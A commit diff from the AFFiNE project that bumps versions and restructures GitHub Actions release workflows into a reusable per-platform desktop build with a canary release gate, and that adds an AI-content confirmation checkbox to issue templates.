"description": "The custom domain URL prefix for the cloudflare r2 storage provider.\nWhen `enabled=true` and `urlPrefix` + `signKey` are provided, the server will:\n- Redirect GET requests to this custom domain with an HMAC token.\n- Return upload URLs under `/api/storage/*` for uploads.\nPresigned/upload proxy TTL is 1 hour.\nsee https://developers.cloudflare.com/waf/custom-rules/use-cases/configure-token-authentication/ to configure it.\nExample value: \"https://storage.example.com\"\nExample rule: is_timed_hmac_valid_v0(\"your_secret\", http.request.uri, 10800, http.request.timestamp.sec, 6)"
},
"signKey": {
"type": "string",

View File

@@ -74,3 +74,11 @@ body:
description: |
Links? References? Anything that will give us more context about the issue you are encountering!
Tip: You can attach images here
- type: checkboxes
attributes:
label: Is your content generated by AI?
description: >
(Required) Please confirm that the content you submit was not generated by AI or only minimally edited by AI.
If an administrator believes the post contains a large amount of AI-generated content, they may directly close the question.
options:
- label: I confirm that the content I submitted was **not** generated by AI / **merely contained minimal** AI edits.

View File

@@ -35,3 +35,11 @@ body:
See the AFFiNE [Contributing Guide](https://github.com/toeverything/affine/blob/canary/CONTRIBUTING.md) to get started.
options:
- label: Yes I'd like to help by submitting a PR!
- type: checkboxes
attributes:
label: Is your content generated by AI?
description: >
(Required) Please confirm that the content you submit was not generated by AI or only minimally edited by AI.
If an administrator believes the post contains a large amount of AI-generated content, they may directly close the question.
options:
- label: I confirm that the content I submitted was **not** generated by AI / **merely contained minimal** AI edits.

View File

@@ -75,7 +75,11 @@ runs:
shell: bash
if: ${{ runner.os != 'Windows' && inputs.no-build != 'true' }}
run: |
yarn workspace ${{ inputs.package }} build --target ${{ inputs.target }} --use-napi-cross
if [[ "${{ inputs.target }}" == "x86_64-unknown-linux-gnu" ]]; then
yarn workspace ${{ inputs.package }} build --target ${{ inputs.target }}
else
yarn workspace ${{ inputs.package }} build --target ${{ inputs.target }} --use-napi-cross
fi
env:
DEBUG: 'napi:*'

View File

@@ -4,11 +4,6 @@ description: 'Prepare Server Test Environment'
runs:
using: 'composite'
steps:
- name: Bundle @affine/reader
shell: bash
run: |
yarn affine @affine/reader build
- name: Initialize database
shell: bash
run: |

View File

@@ -3,4 +3,4 @@ name: affine
description: AFFiNE cloud chart
type: application
version: 0.0.0
appVersion: "0.25.5"
appVersion: "0.25.7"

View File

@@ -3,7 +3,7 @@ name: doc
description: AFFiNE doc server
type: application
version: 0.0.0
appVersion: "0.25.5"
appVersion: "0.25.7"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -3,7 +3,7 @@ name: graphql
description: AFFiNE GraphQL server
type: application
version: 0.0.0
appVersion: "0.25.5"
appVersion: "0.25.7"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -3,7 +3,7 @@ name: renderer
description: AFFiNE renderer server
type: application
version: 0.0.0
appVersion: "0.25.5"
appVersion: "0.25.7"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -3,7 +3,7 @@ name: sync
description: AFFiNE Sync Server
type: application
version: 0.0.0
appVersion: "0.25.5"
appVersion: "0.25.7"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -187,8 +187,6 @@ jobs:
path: ./packages/backend/native
- name: List server-native files
run: ls -alh ./packages/backend/native
- name: Build @affine/reader
run: yarn workspace @affine/reader build
- name: Build Server
run: yarn workspace @affine/server build
- name: Upload server dist

View File

@@ -152,11 +152,6 @@ jobs:
name: server-native.node
path: ./packages/backend/native
- name: Bundle @affine/reader
shell: bash
run: |
yarn workspace @affine/reader build
- name: Run Check
run: |
yarn affine init
@@ -812,7 +807,7 @@ jobs:
settings:
- { target: 'x86_64-unknown-linux-gnu', os: 'ubuntu-latest' }
- { target: 'aarch64-unknown-linux-gnu', os: 'ubuntu-24.04-arm' }
- { target: 'x86_64-apple-darwin', os: 'macos-13' }
- { target: 'x86_64-apple-darwin', os: 'macos-15-intel' }
- { target: 'aarch64-apple-darwin', os: 'macos-latest' }
- { target: 'x86_64-pc-windows-msvc', os: 'windows-latest' }
- { target: 'aarch64-pc-windows-msvc', os: 'windows-11-arm' }
@@ -1356,7 +1351,7 @@ jobs:
run: |
sudo add-apt-repository universe
sudo apt install -y libfuse2 elfutils flatpak flatpak-builder
flatpak remote-add --user --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo
flatpak remote-add --user --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo
flatpak update
# some flatpak deps need git protocol.file.allow
git config --global protocol.file.allow always

View File

@@ -0,0 +1,226 @@
name: Release Desktop Platform
on:
workflow_call:
inputs:
build_type:
required: true
type: string
app_version:
required: true
type: string
git_short_hash:
required: true
type: string
runner:
required: true
type: string
platform:
required: true
type: string
arch:
required: true
type: string
target:
required: true
type: string
apple_codesign:
required: false
default: false
type: boolean
install_linux_deps:
required: false
default: false
type: boolean
enable_scripts:
required: false
default: false
type: boolean
outputs:
files_to_be_signed:
description: Files to be signed (Windows only)
value: ${{ jobs.build.outputs.files_to_be_signed }}
permissions:
actions: write
contents: write
security-events: write
id-token: write
attestations: write
jobs:
build:
runs-on: ${{ inputs.runner }}
outputs:
files_to_be_signed: ${{ steps.get_files_to_be_signed.outputs.FILES_TO_BE_SIGNED }}
env:
BUILD_TYPE: ${{ inputs.build_type }}
RELEASE_VERSION: ${{ inputs.app_version }}
DEBUG: 'affine:*,napi:*'
APP_NAME: affine
MACOSX_DEPLOYMENT_TARGET: '12.0'
SKIP_GENERATE_ASSETS: 1
APPLE_ID: ${{ secrets.APPLE_ID }}
APPLE_PASSWORD: ${{ secrets.APPLE_PASSWORD }}
APPLE_TEAM_ID: ${{ secrets.APPLE_TEAM_ID }}
SENTRY_ORG: ${{ secrets.SENTRY_ORG }}
SENTRY_PROJECT: 'affine'
SENTRY_AUTH_TOKEN: ${{ secrets.SENTRY_AUTH_TOKEN }}
SENTRY_DSN: ${{ secrets.SENTRY_DSN }}
SENTRY_RELEASE: ${{ inputs.app_version }}
MIXPANEL_TOKEN: ${{ secrets.MIXPANEL_TOKEN }}
steps:
- uses: actions/checkout@v4
- name: Setup Version
uses: ./.github/actions/setup-version
with:
app-version: ${{ inputs.app_version }}
- name: Setup Node.js
timeout-minutes: 10
uses: ./.github/actions/setup-node
with:
extra-flags: workspaces focus @affine/electron @affine/monorepo @affine/nbstore @toeverything/infra
hard-link-nm: false
nmHoistingLimits: workspaces
enableScripts: ${{ inputs.enable_scripts }}
- name: Build AFFiNE native
uses: ./.github/actions/build-rust
with:
target: ${{ inputs.target }}
package: '@affine/native'
- uses: actions/download-artifact@v4
with:
name: desktop-web
path: packages/frontend/apps/electron/resources/web-static
- name: Build Desktop Layers
run: yarn affine @affine/electron build
- name: Signing By Apple Developer ID
if: ${{ inputs.platform == 'darwin' && inputs.apple_codesign }}
uses: apple-actions/import-codesign-certs@v5
with:
p12-file-base64: ${{ secrets.CERTIFICATES_P12 }}
p12-password: ${{ secrets.CERTIFICATES_P12_PASSWORD }}
- name: Install additional dependencies on Linux
if: ${{ inputs.platform == 'linux' && inputs.install_linux_deps }}
run: |
df -h
sudo add-apt-repository universe
sudo apt install -y libfuse2 elfutils flatpak flatpak-builder
flatpak remote-add --user --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo
flatpak update
# some flatpak deps need git protocol.file.allow
git config --global protocol.file.allow always
# clean up apt cache to save disk space
sudo -E apt-get -y purge azure-cli* zulu* hhvm* llvm* firefox* google* dotnet* aspnetcore* powershell* adoptopenjdk* mysql* php* mongodb* moby* snap* || true
sudo -E apt-get -qq autoremove --purge
sudo rm -rf /usr/share/dotnet /opt/ghc /opt/hostedtoolcache/CodeQL /usr/local/lib/android
sudo apt-get clean
rm -rf ~/.cache/yarn ~/.npm
df -h
- name: Remove nbstore node_modules (darwin/linux)
if: ${{ inputs.platform != 'win32' }}
shell: bash
# node_modules of nbstore is not needed for building, and it will make the build process out of memory
run: |
cargo clean
rm -rf packages/frontend/apps/electron/node_modules/@affine/nbstore/node_modules/@blocksuite
rm -rf packages/frontend/apps/electron/node_modules/@affine/native/node_modules
- name: Remove nbstore node_modules (windows)
if: ${{ inputs.platform == 'win32' }}
shell: bash
run: |
rm -rf packages/frontend/apps/electron/node_modules/@affine/nbstore/node_modules/@blocksuite/affine/node_modules
rm -rf packages/frontend/apps/electron/node_modules/@affine/native/node_modules
- name: make
if: ${{ inputs.platform != 'win32' }}
run: yarn affine @affine/electron make --platform=${{ inputs.platform }} --arch=${{ inputs.arch }}
env:
SKIP_WEB_BUILD: 1
HOIST_NODE_MODULES: 1
NODE_OPTIONS: --max-old-space-size=14384
- name: package
if: ${{ inputs.platform == 'win32' }}
run: |
yarn affine @affine/electron package --platform=${{ inputs.platform }} --arch=${{ inputs.arch }}
env:
SKIP_WEB_BUILD: 1
HOIST_NODE_MODULES: 1
NODE_OPTIONS: --max-old-space-size=14384
- name: signing DMG
if: ${{ inputs.platform == 'darwin' && inputs.apple_codesign }}
run: |
codesign --force --sign "Developer ID Application: TOEVERYTHING PTE. LTD." packages/frontend/apps/electron/out/${{ env.BUILD_TYPE }}/make/AFFiNE.dmg
- name: Save artifacts (mac)
if: ${{ inputs.platform == 'darwin' }}
run: |
mkdir -p builds
mv packages/frontend/apps/electron/out/*/make/*.dmg ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ inputs.arch }}.dmg
mv packages/frontend/apps/electron/out/*/make/zip/darwin/${{ inputs.arch }}/*.zip ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ inputs.arch }}.zip
- name: Save artifacts (linux)
if: ${{ inputs.platform == 'linux' }}
run: |
mkdir -p builds
mv packages/frontend/apps/electron/out/*/make/zip/linux/${{ inputs.arch }}/*.zip ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ inputs.arch }}.zip
mv packages/frontend/apps/electron/out/*/make/*.AppImage ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ inputs.arch }}.appimage
mv packages/frontend/apps/electron/out/*/make/deb/${{ inputs.arch }}/*.deb ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ inputs.arch }}.deb
mv packages/frontend/apps/electron/out/*/make/flatpak/*/*.flatpak ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ inputs.arch }}.flatpak
- uses: actions/attest-build-provenance@v2
if: ${{ inputs.platform == 'darwin' }}
with:
subject-path: |
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ inputs.arch }}.zip
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ inputs.arch }}.dmg
- uses: actions/attest-build-provenance@v2
if: ${{ inputs.platform == 'linux' }}
with:
subject-path: |
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ inputs.arch }}.zip
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ inputs.arch }}.appimage
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ inputs.arch }}.deb
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ inputs.arch }}.flatpak
- name: Upload Artifact
if: ${{ inputs.platform == 'darwin' || inputs.platform == 'linux' }}
uses: actions/upload-artifact@v4
with:
name: affine-${{ inputs.platform }}-${{ inputs.arch }}-builds
path: builds
- name: get all files to be signed
id: get_files_to_be_signed
if: ${{ inputs.platform == 'win32' }}
shell: pwsh
run: |
Set-Variable -Name FILES_TO_BE_SIGNED -Value ((Get-ChildItem -Path packages/frontend/apps/electron/out -Recurse -File | Where-Object { $_.Extension -in @(".exe", ".node", ".dll", ".msi") } | ForEach-Object { '"' + $_.FullName.Replace((Get-Location).Path + '\packages\frontend\apps\electron\out\', '') + '"' }) -join ' ')
"FILES_TO_BE_SIGNED=$FILES_TO_BE_SIGNED" >> $env:GITHUB_OUTPUT
echo $FILES_TO_BE_SIGNED
- name: Zip artifacts for faster upload
if: ${{ inputs.platform == 'win32' }}
shell: pwsh
run: Compress-Archive -CompressionLevel Fastest -Path packages/frontend/apps/electron/out/* -DestinationPath archive.zip
- name: Save packaged artifacts for signing
if: ${{ inputs.platform == 'win32' }}
uses: actions/upload-artifact@v4
with:
name: packaged-${{ inputs.platform }}-${{ inputs.arch }}
path: |
archive.zip
!**/*.map

View File

@@ -12,6 +12,21 @@ on:
git-short-hash:
required: true
type: string
desktop_macos:
description: 'Desktop - macOS'
required: false
default: true
type: boolean
desktop_windows:
description: 'Desktop - Windows'
required: false
default: true
type: boolean
desktop_linux:
description: 'Desktop - Linux'
required: false
default: true
type: boolean
permissions:
actions: write
@@ -29,6 +44,7 @@ env:
jobs:
before-make:
if: ${{ inputs.desktop_macos || inputs.desktop_windows || inputs.desktop_linux }}
runs-on: ubuntu-latest
environment: ${{ inputs.build-type }}
steps:
@@ -58,7 +74,8 @@ jobs:
name: desktop-web
path: packages/frontend/apps/electron/resources/web-static
make-distribution:
make-distribution-macos:
if: ${{ inputs.desktop_macos }}
strategy:
fail-fast: false
matrix:
@@ -71,223 +88,90 @@ jobs:
platform: darwin
arch: arm64
target: aarch64-apple-darwin
- runner: ubuntu-latest
platform: linux
arch: x64
target: x86_64-unknown-linux-gnu
runs-on: ${{ matrix.spec.runner }}
needs: before-make
environment: ${{ inputs.build-type }}
env:
APPLE_ID: ${{ secrets.APPLE_ID }}
APPLE_PASSWORD: ${{ secrets.APPLE_PASSWORD }}
APPLE_TEAM_ID: ${{ secrets.APPLE_TEAM_ID }}
SKIP_GENERATE_ASSETS: 1
SENTRY_ORG: ${{ secrets.SENTRY_ORG }}
SENTRY_PROJECT: 'affine'
SENTRY_AUTH_TOKEN: ${{ secrets.SENTRY_AUTH_TOKEN }}
SENTRY_DSN: ${{ secrets.SENTRY_DSN }}
SENTRY_RELEASE: ${{ inputs.app-version }}
MIXPANEL_TOKEN: ${{ secrets.MIXPANEL_TOKEN }}
steps:
- uses: actions/checkout@v4
- name: Setup Version
uses: ./.github/actions/setup-version
with:
app-version: ${{ inputs.app-version }}
- name: Setup Node.js
timeout-minutes: 10
uses: ./.github/actions/setup-node
with:
extra-flags: workspaces focus @affine/electron @affine/monorepo @affine/nbstore @toeverything/infra
hard-link-nm: false
nmHoistingLimits: workspaces
enableScripts: false
- name: Build AFFiNE native
uses: ./.github/actions/build-rust
with:
target: ${{ matrix.spec.target }}
package: '@affine/native'
- uses: actions/download-artifact@v4
with:
name: desktop-web
path: packages/frontend/apps/electron/resources/web-static
uses: ./.github/workflows/release-desktop-platform.yml
secrets: inherit
with:
build_type: ${{ inputs.build-type }}
app_version: ${{ inputs.app-version }}
git_short_hash: ${{ inputs.git-short-hash }}
runner: ${{ matrix.spec.runner }}
platform: ${{ matrix.spec.platform }}
arch: ${{ matrix.spec.arch }}
target: ${{ matrix.spec.target }}
apple_codesign: true
- name: Build Desktop Layers
run: yarn affine @affine/electron build
- name: Signing By Apple Developer ID
if: ${{ matrix.spec.platform == 'darwin' }}
uses: apple-actions/import-codesign-certs@v5
with:
p12-file-base64: ${{ secrets.CERTIFICATES_P12 }}
p12-password: ${{ secrets.CERTIFICATES_P12_PASSWORD }}
- name: Install additional dependencies on Linux
if: ${{ matrix.spec.platform == 'linux' }}
run: |
sudo add-apt-repository universe
sudo apt install -y libfuse2 elfutils flatpak flatpak-builder
flatpak remote-add --user --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo
flatpak update
# some flatpak deps need git protocol.file.allow
git config --global protocol.file.allow always
- name: Remove nbstore node_modules
shell: bash
# node_modules of nbstore is not needed for building, and it will make the build process out of memory
run: |
rm -rf packages/frontend/apps/electron/node_modules/@affine/nbstore/node_modules/@blocksuite
rm -rf packages/frontend/apps/electron/node_modules/@affine/native/node_modules
- name: make
run: yarn affine @affine/electron make --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
env:
SKIP_WEB_BUILD: 1
HOIST_NODE_MODULES: 1
NODE_OPTIONS: --max-old-space-size=14384
- name: signing DMG
if: ${{ matrix.spec.platform == 'darwin' }}
run: |
codesign --force --sign "Developer ID Application: TOEVERYTHING PTE. LTD." packages/frontend/apps/electron/out/${{ env.BUILD_TYPE }}/make/AFFiNE.dmg
- name: Save artifacts (mac)
if: ${{ matrix.spec.platform == 'darwin' }}
run: |
mkdir -p builds
mv packages/frontend/apps/electron/out/*/make/*.dmg ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ matrix.spec.arch }}.dmg
mv packages/frontend/apps/electron/out/*/make/zip/darwin/${{ matrix.spec.arch }}/*.zip ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ matrix.spec.arch }}.zip
- name: Save artifacts (linux)
if: ${{ matrix.spec.platform == 'linux' }}
run: |
mkdir -p builds
mv packages/frontend/apps/electron/out/*/make/zip/linux/${{ matrix.spec.arch }}/*.zip ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ matrix.spec.arch }}.zip
mv packages/frontend/apps/electron/out/*/make/*.AppImage ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ matrix.spec.arch }}.appimage
mv packages/frontend/apps/electron/out/*/make/deb/${{ matrix.spec.arch }}/*.deb ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ matrix.spec.arch }}.deb
# mv packages/frontend/apps/electron/out/*/make/flatpak/*/*.flatpak ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ matrix.spec.arch }}.flatpak
- uses: actions/attest-build-provenance@v2
if: ${{ matrix.spec.platform == 'darwin' }}
with:
subject-path: |
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ matrix.spec.arch }}.zip
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ matrix.spec.arch }}.dmg
- uses: actions/attest-build-provenance@v2
if: ${{ matrix.spec.platform == 'linux' }}
with:
subject-path: |
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-x64.zip
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-x64.appimage
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-x64.deb
- name: Upload Artifact
uses: actions/upload-artifact@v4
with:
name: affine-${{ matrix.spec.platform }}-${{ matrix.spec.arch }}-builds
path: builds
package-distribution-windows:
environment: ${{ inputs.build-type }}
make-distribution-linux:
if: ${{ inputs.desktop_linux }}
strategy:
fail-fast: false
matrix:
spec:
- runner: windows-latest
platform: win32
- runner: ubuntu-latest
platform: linux
arch: x64
target: x86_64-pc-windows-msvc
- runner: windows-latest
platform: win32
arch: arm64
target: aarch64-pc-windows-msvc
runs-on: ${{ matrix.spec.runner }}
target: x86_64-unknown-linux-gnu
needs: before-make
outputs:
FILES_TO_BE_SIGNED_x64: ${{ steps.get_files_to_be_signed.outputs.FILES_TO_BE_SIGNED_x64 }}
FILES_TO_BE_SIGNED_arm64: ${{ steps.get_files_to_be_signed.outputs.FILES_TO_BE_SIGNED_arm64 }}
env:
SKIP_GENERATE_ASSETS: 1
SENTRY_ORG: ${{ secrets.SENTRY_ORG }}
SENTRY_PROJECT: 'affine'
SENTRY_AUTH_TOKEN: ${{ secrets.SENTRY_AUTH_TOKEN }}
SENTRY_DSN: ${{ secrets.SENTRY_DSN }}
SENTRY_RELEASE: ${{ inputs.app-version }}
MIXPANEL_TOKEN: ${{ secrets.MIXPANEL_TOKEN }}
steps:
- uses: actions/checkout@v4
- name: Setup Version
uses: ./.github/actions/setup-version
with:
app-version: ${{ inputs.app-version }}
- name: Setup Node.js
timeout-minutes: 10
uses: ./.github/actions/setup-node
with:
extra-flags: workspaces focus @affine/electron @affine/monorepo @affine/nbstore @toeverything/infra
hard-link-nm: false
nmHoistingLimits: workspaces
- name: Build AFFiNE native
uses: ./.github/actions/build-rust
with:
target: ${{ matrix.spec.target }}
package: '@affine/native'
- uses: actions/download-artifact@v4
with:
name: desktop-web
path: packages/frontend/apps/electron/resources/web-static
uses: ./.github/workflows/release-desktop-platform.yml
secrets: inherit
with:
build_type: ${{ inputs.build-type }}
app_version: ${{ inputs.app-version }}
git_short_hash: ${{ inputs.git-short-hash }}
runner: ${{ matrix.spec.runner }}
platform: ${{ matrix.spec.platform }}
arch: ${{ matrix.spec.arch }}
target: ${{ matrix.spec.target }}
install_linux_deps: true
- name: Build Desktop Layers
run: yarn affine @affine/electron build
package-distribution-windows-x64:
if: ${{ inputs.desktop_windows }}
needs: before-make
uses: ./.github/workflows/release-desktop-platform.yml
secrets: inherit
with:
build_type: ${{ inputs.build-type }}
app_version: ${{ inputs.app-version }}
git_short_hash: ${{ inputs.git-short-hash }}
runner: windows-latest
platform: win32
arch: x64
target: x86_64-pc-windows-msvc
enable_scripts: true
- name: Remove nbstore node_modules
shell: bash
# node_modules of nbstore is not needed for building, and it will make the build process out of memory
run: |
rm -rf packages/frontend/apps/electron/node_modules/@affine/nbstore/node_modules/@blocksuite/affine/node_modules
rm -rf packages/frontend/apps/electron/node_modules/@affine/native/node_modules
- name: package
run: |
yarn affine @affine/electron package --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
env:
SKIP_WEB_BUILD: 1
HOIST_NODE_MODULES: 1
NODE_OPTIONS: --max-old-space-size=14384
- name: get all files to be signed
id: get_files_to_be_signed
run: |
Set-Variable -Name FILES_TO_BE_SIGNED -Value ((Get-ChildItem -Path packages/frontend/apps/electron/out -Recurse -File | Where-Object { $_.Extension -in @(".exe", ".node", ".dll", ".msi") } | ForEach-Object { '"' + $_.FullName.Replace((Get-Location).Path + '\packages\frontend\apps\electron\out\', '') + '"' }) -join ' ')
"FILES_TO_BE_SIGNED_${{ matrix.spec.arch }}=$FILES_TO_BE_SIGNED" >> $env:GITHUB_OUTPUT
echo $FILES_TO_BE_SIGNED
- name: Zip artifacts for faster upload
run: Compress-Archive -CompressionLevel Fastest -Path packages/frontend/apps/electron/out/* -DestinationPath archive.zip
- name: Save packaged artifacts for signing
uses: actions/upload-artifact@v4
with:
name: packaged-${{ matrix.spec.platform }}-${{ matrix.spec.arch }}
path: |
archive.zip
!**/*.map
package-distribution-windows-arm64:
if: ${{ inputs.desktop_windows }}
needs: before-make
uses: ./.github/workflows/release-desktop-platform.yml
secrets: inherit
with:
build_type: ${{ inputs.build-type }}
app_version: ${{ inputs.app-version }}
git_short_hash: ${{ inputs.git-short-hash }}
runner: windows-latest
platform: win32
arch: arm64
target: aarch64-pc-windows-msvc
enable_scripts: true
sign-packaged-artifacts-windows_x64:
needs: package-distribution-windows
if: ${{ inputs.desktop_windows }}
needs: package-distribution-windows-x64
uses: ./.github/workflows/windows-signer.yml
with:
files: ${{ needs.package-distribution-windows.outputs.FILES_TO_BE_SIGNED_x64 }}
files: ${{ needs.package-distribution-windows-x64.outputs.files_to_be_signed }}
artifact-name: packaged-win32-x64
sign-packaged-artifacts-windows_arm64:
needs: package-distribution-windows
if: ${{ inputs.desktop_windows }}
needs: package-distribution-windows-arm64
uses: ./.github/workflows/windows-signer.yml
with:
files: ${{ needs.package-distribution-windows.outputs.FILES_TO_BE_SIGNED_arm64 }}
files: ${{ needs.package-distribution-windows-arm64.outputs.files_to_be_signed }}
artifact-name: packaged-win32-arm64
make-windows-installer:
if: ${{ inputs.desktop_windows }}
needs:
- sign-packaged-artifacts-windows_x64
- sign-packaged-artifacts-windows_arm64
@@ -349,6 +233,7 @@ jobs:
path: archive.zip
sign-installer-artifacts-windows-x64:
if: ${{ inputs.desktop_windows }}
needs: make-windows-installer
uses: ./.github/workflows/windows-signer.yml
with:
@@ -356,6 +241,7 @@ jobs:
artifact-name: installer-win32-x64
sign-installer-artifacts-windows-arm64:
if: ${{ inputs.desktop_windows }}
needs: make-windows-installer
uses: ./.github/workflows/windows-signer.yml
with:
@@ -363,6 +249,7 @@ jobs:
artifact-name: installer-win32-arm64
finalize-installer-windows:
if: ${{ inputs.desktop_windows }}
needs:
[
sign-installer-artifacts-windows-x64,
@@ -410,17 +297,18 @@ jobs:
path: builds
release:
needs: [before-make, make-distribution, finalize-installer-windows]
if: ${{ inputs.desktop_macos && inputs.desktop_linux && inputs.desktop_windows }}
needs:
[
before-make,
make-distribution-macos,
make-distribution-linux,
finalize-installer-windows,
]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/download-artifact@v4
with:
name: desktop-web
path: web-static
- name: Zip web-static
run: zip -r web-static.zip web-static
- name: Download Artifacts (macos-x64)
uses: actions/download-artifact@v4
with:

View File

@@ -11,8 +11,18 @@ on:
required: true
type: boolean
default: false
desktop:
description: 'Release Desktop?'
desktop_macos:
description: 'Desktop - macOS'
required: true
type: boolean
default: false
desktop_windows:
description: 'Desktop - Windows'
required: true
type: boolean
default: false
desktop_linux:
description: 'Desktop - Linux'
required: true
type: boolean
default: false
@@ -50,6 +60,68 @@ jobs:
id: prepare
uses: ./.github/actions/prepare-release
canary-gate:
name: Canary Gate
runs-on: ubuntu-latest
needs:
- prepare
outputs:
SHOULD_RELEASE: ${{ steps.decide.outputs.SHOULD_RELEASE }}
LAST_CANARY_TAG: ${{ steps.decide.outputs.LAST_CANARY_TAG }}
LAST_CANARY_SHA: ${{ steps.decide.outputs.LAST_CANARY_SHA }}
steps:
- name: Decide whether to release
id: decide
uses: actions/github-script@v7
with:
script: |
const buildType = '${{ needs.prepare.outputs.BUILD_TYPE }}'
if (buildType !== 'canary') {
core.setOutput('SHOULD_RELEASE', 'true')
return
}
const owner = context.repo.owner
const repo = context.repo.repo
const currentSha = context.sha
const canaryTagRe = /^v\d+\.\d+\.\d+-canary\.[0-9a-f]+$/i
let page = 1
const perPage = 100
let lastCanary = null
while (!lastCanary && page <= 10) {
const { data } = await github.rest.repos.listTags({
owner,
repo,
per_page: perPage,
page,
})
for (const tag of data) {
if (canaryTagRe.test(tag.name)) {
lastCanary = tag
break
}
}
if (data.length < perPage) break
page++
}
if (!lastCanary) {
core.warning('No canary tags found; proceeding with canary release.')
core.setOutput('SHOULD_RELEASE', 'true')
return
}
core.setOutput('LAST_CANARY_TAG', lastCanary.name)
core.setOutput('LAST_CANARY_SHA', lastCanary.commit.sha)
const shouldRelease = lastCanary.commit.sha !== currentSha
core.info(`Latest canary tag ${lastCanary.name} -> ${lastCanary.commit.sha}; current ${currentSha}; should_release=${shouldRelease}`)
core.setOutput('SHOULD_RELEASE', shouldRelease ? 'true' : 'false')
cloud:
name: Release Cloud
if: ${{ inputs.web || github.event_name != 'workflow_dispatch' }}
@@ -64,9 +136,11 @@ jobs:
image:
name: Release Docker Image
if: ${{ needs.canary-gate.outputs.SHOULD_RELEASE == 'true' }}
runs-on: ubuntu-latest
needs:
- prepare
- canary-gate
- cloud
steps:
- uses: trstringer/manual-approval@v1
@@ -74,7 +148,7 @@ jobs:
name: Wait for approval
with:
secret: ${{ secrets.GITHUB_TOKEN }}
approvers: forehalo,fengmk2,darkskygit
approvers: darkskygit,pengx17,L-Sun,EYHN
minimum-approvals: 1
fail-on-denial: true
issue-title: Please confirm to release docker image
@@ -102,15 +176,25 @@ jobs:
desktop:
name: Release Desktop
if: ${{ inputs.desktop || github.event_name != 'workflow_dispatch' }}
if: >-
${{
(github.event_name != 'workflow_dispatch' && needs.canary-gate.outputs.SHOULD_RELEASE == 'true') ||
inputs.desktop_macos ||
inputs.desktop_windows ||
inputs.desktop_linux
}}
needs:
- prepare
- canary-gate
uses: ./.github/workflows/release-desktop.yml
secrets: inherit
with:
build-type: ${{ needs.prepare.outputs.BUILD_TYPE }}
app-version: ${{ needs.prepare.outputs.APP_VERSION }}
git-short-hash: ${{ needs.prepare.outputs.GIT_SHORT_HASH }}
desktop_macos: ${{ github.event_name != 'workflow_dispatch' || inputs.desktop_macos }}
desktop_windows: ${{ github.event_name != 'workflow_dispatch' || inputs.desktop_windows }}
desktop_linux: ${{ github.event_name != 'workflow_dispatch' || inputs.desktop_linux }}
mobile:
name: Release Mobile

2
.gitignore vendored
View File

@@ -47,6 +47,8 @@ testem.log
.pnpm-debug.log
/typings
tsconfig.tsbuildinfo
rfc*.md
todo.md
# System Files
.DS_Store

2
.nvmrc
View File

@@ -1 +1 @@
22.16.0
22.21.1

File diff suppressed because one or more lines are too long

View File

@@ -12,4 +12,4 @@ npmPublishAccess: public
npmRegistryServer: "https://registry.npmjs.org"
yarnPath: .yarn/releases/yarn-4.9.1.cjs
yarnPath: .yarn/releases/yarn-4.12.0.cjs

654
Cargo.lock generated

File diff suppressed because it is too large Load Diff

View File

@@ -47,10 +47,11 @@ resolver = "3"
libc = "0.2"
log = "0.4"
loom = { version = "0.7", features = ["checkpoint"] }
memory-indexer = "0.2.1"
mimalloc = "0.1"
mp4parse = "0.17"
nanoid = "0.4"
napi = { version = "3.0.0-beta.3", features = [
napi = { version = "3.7.0", features = [
"async",
"chrono_date",
"error_anyhow",
@@ -58,11 +59,12 @@ resolver = "3"
"serde",
] }
napi-build = { version = "2" }
napi-derive = { version = "3.0.0-beta.3" }
napi-derive = { version = "3.4" }
nom = "8"
notify = { version = "8", features = ["serde"] }
objc2 = "0.6"
objc2-foundation = "0.3"
ogg = "0.9"
once_cell = "1"
ordered-float = "5"
parking_lot = "0.12"

View File

